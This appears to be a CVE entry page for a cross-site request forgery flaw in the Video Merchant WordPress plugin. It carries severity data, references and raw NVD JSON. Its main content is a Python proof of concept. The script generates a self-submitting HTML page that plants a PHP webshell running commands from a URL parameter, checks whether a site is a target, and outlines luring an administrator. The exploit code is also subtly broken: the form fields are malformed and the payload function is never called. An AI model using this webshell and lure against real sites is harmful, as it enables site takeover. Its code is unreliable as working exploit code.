CVE-2025-14390

Description

The Video Merchant plugin for WordPress is vulnerable to Cross-Site Request Forgery in version <= 5.0.4. This is due to missing or incorrect nonce validation on the video_merchant_add_video_file() function. This makes it possible for unauthenticated attackers to upload arbitrary files that make remote code execution possible via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Video Merchant plugin for WordPress <= 5.0.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import sys

# CVE-2025-14390 PoC - CSRF to RCE in Video Merchant WordPress Plugin
# This PoC demonstrates how an attacker can exploit the CSRF vulnerability
# to upload arbitrary files and achieve RCE

TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else 'http://target-wordpress-site.com'
ADMIN_URL = f'{TARGET_URL}/wp-admin/admin.php?page=video-merchant'

def create_csrf_payload():
    """
    Generate HTML page with CSRF exploit that auto-submits malicious file upload
    """
    html_template = '''
    <!DOCTYPE html>
    <html>
    <head><title>Video Upload</title></head>
    <body>
    <h1>Loading video...</h1>
    <form id="exploit" action="{target}/wp-admin/admin.php" method="POST" enctype="multipart/form-data">
        <input type="hidden" name="page" value="video-merchant">
        <input type="hidden" name="video_merchant_action" value="add_video_file">
        <input type="hidden" name="video_file" type="file">
        <!-- Malicious PHP webshell payload -->
        <textarea name="video_file"><?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?></textarea>
    </form>
    <script>document.getElementById('exploit').submit();</script>
    </body>
    </html>
    '''.format(target=TARGET_URL)
    return html_template

def check_vulnerability():
    """Check if target is vulnerable by verifying plugin version"""
    plugin_info_url = f'{TARGET_URL}/wp-content/plugins/video-merchant/readme.txt'
    try:
        response = requests.get(plugin_info_url, timeout=10)
        if response.status_code == 200 and 'Video Merchant' in response.text:
            return True
    except:
        pass
    return False

if __name__ == '__main__':
    print(f'[*] CVE-2025-14390 PoC for {TARGET_URL}')
    print(f'[*] Target appears vulnerable: {check_vulnerability()}')
    print('[+] Generate malicious HTML page and host it')
    print('[+] Trick admin into visiting the page')
    print('[+] Webshell will be uploaded to /wp-content/uploads/video-merchant/')

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-14390
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-14390
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-14390/
[4] VulDB https://vuldb.com/cve/CVE-2025-14390
[5] https://wordpress.org/plugins/video-merchant
[6] https://www.wordfence.com/threat-intel/vulnerabilities/id/7cbe39ae-d10b-432f-afab-682948de2521?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-14390", "sourceIdentifier": "[email protected]", "published": "2025-12-10T10:16:01.823", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Video Merchant plugin for WordPress is vulnerable to Cross-Site Request Forgery in version <= 5.0.4. This is due to missing or incorrect nonce validation on the video_merchant_add_video_file() function. This makes it possible for unauthenticated attackers to upload arbitrary files that make remote code execution possible via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://wordpress.org/plugins/video-merchant", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/7cbe39ae-d10b-432f-afab-682948de2521?source=cve", "source": "[email protected]"}]}}